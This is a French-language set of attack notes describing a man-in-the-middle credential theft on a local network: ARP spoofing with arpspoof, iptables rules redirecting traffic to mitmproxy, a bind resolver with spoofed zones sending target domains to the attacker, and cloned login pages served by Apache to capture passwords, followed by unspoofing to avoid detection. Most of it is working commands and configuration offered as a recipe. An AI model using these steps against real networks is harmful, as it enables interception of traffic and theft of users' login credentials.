via mitmproxy (pip install mitmproxy), sur pseudo point d'accès wifi par exemple :
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sysctl -w net.ipv4.ip_forward=1
mitmproxy -T --host
Fait passer tout le traffic web par mitmproxy
- invisible sur le trafic http, possibilité de replay / enregistrement / modification
- visible sur le trafic https because le certificat présenté est celui de mitmproxy => alerte à chaque https y compris ceux non ciblés
faire passer tout le traffic via machine attaquante en se positionnant entre l'attaqué et la passerelle par défaut : utilisation de dsniff / arp
arpspoof -t IPMACHINEATTAQUEE IPGW
vérification sur machine attaquée :
arp -a # la mac du routeur est remplacée par la mac de la machine attaquante
à partir de ce moment on se retrouve dans la situation ci-dessus (AP) et les mêmes problématiques de certificat.
Ajout à une des solutions ci-dessus : permet d'avoir un trafic https normal pour les pages non ciblées, et de tranformer les pages https des sites ciblés en pages http statiques (sorte de fishing).
Rediriger sans interception (au pire log des paquets bruts si envie) le trafic https
# virer iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
Rediriger le trafic http vers le proxy, SAUF le trafic directement à destination de l'ip de la machine attaquante
iptables -t nat -A PREROUTING -i eth0 -p tcp --destination ! IPATTAQUANTE --dport 80 -j REDIRECT --to-port 8080
Configurer un serveur apache, et des copies html des pages de connection des services qu'on veut attaquer. Faire un virtualhost par service, avec un server name et une hiérarchie de répertoires correspondant à l'url des pages ciblées (wget est parfait pour ça). Copier aussi les pages d'erreur de mdp ou des pages d'erreur autres..
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sysctl -w net.ipv4.ip_forward=1
mitmproxy -T --host
Configurer un résolveur (bind), le faire tourner sur un port genre 8053, rajouter des zones master correspondant aux sites ciblés (facebook.com --> IP ATTAQUANT)
cfg bind (named.conf) :
listen-on 8053 { any; };
querylog true;
zone "domainecible.fr" { type master; file "/etc/bind/spoof.domainecible.conf"; };
zone file (spoof.domainecible.zone):
$TTL 30 ; TTL très court (pour retour rapide situation normale)
$ORIGIN domainecible.fr.
@ 1D IN SOA ns1.pipo.com. hostmaster.pipo.com. (
2013121601 ; serial
3H ; refresh
15 ; retry
1w ; expire
3h ; minimum
)
IN NS ns1.pipo.com.
IN NS ns2.pipo.com.
www IN A 192.168.0.1 ; web server definition
* IN A 192.168.0.1
Intercepter le trafic DNS avant le forward, et le rediriger vers le résolveur local :
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to 127.0.0.1:8053
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 53 -j REDIRECT --to 127.0.0.1:8053
Sur la machine attaquée, vérifier que le DNS de la machine ciblée a été modifié :
dig domainecible.fr # ANSWER : IPATTAQUANTE
wget domainecible.fr # choppe la page servie par IPATTAQUANTE
A partir de ce moment, on a la "victime" qui croit être sur le domaine ciblé et qui en fait se trouve en clair sur notre ordinateur... on peut imaginer ce qu'on veut. Et pour rester discret, une fois que l'attaquant a son mdp, on déspoofe l'ARP et tout revient comme avant.
Problèmes : lorsque les liens sont suivis en https, on a encore un pb de certif...
Amélioration possibles : reverse proxy au lieu de fishing bête ?